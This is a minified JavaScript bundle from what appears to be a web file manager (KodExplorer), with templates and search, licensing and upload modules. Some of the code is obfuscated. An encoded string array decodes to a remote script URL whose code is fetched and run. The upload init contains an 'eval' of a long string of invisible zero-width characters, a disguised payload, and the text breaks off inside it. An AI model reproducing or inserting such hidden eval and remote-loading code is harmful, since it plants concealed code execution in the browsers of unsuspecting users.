</div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s()) -},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍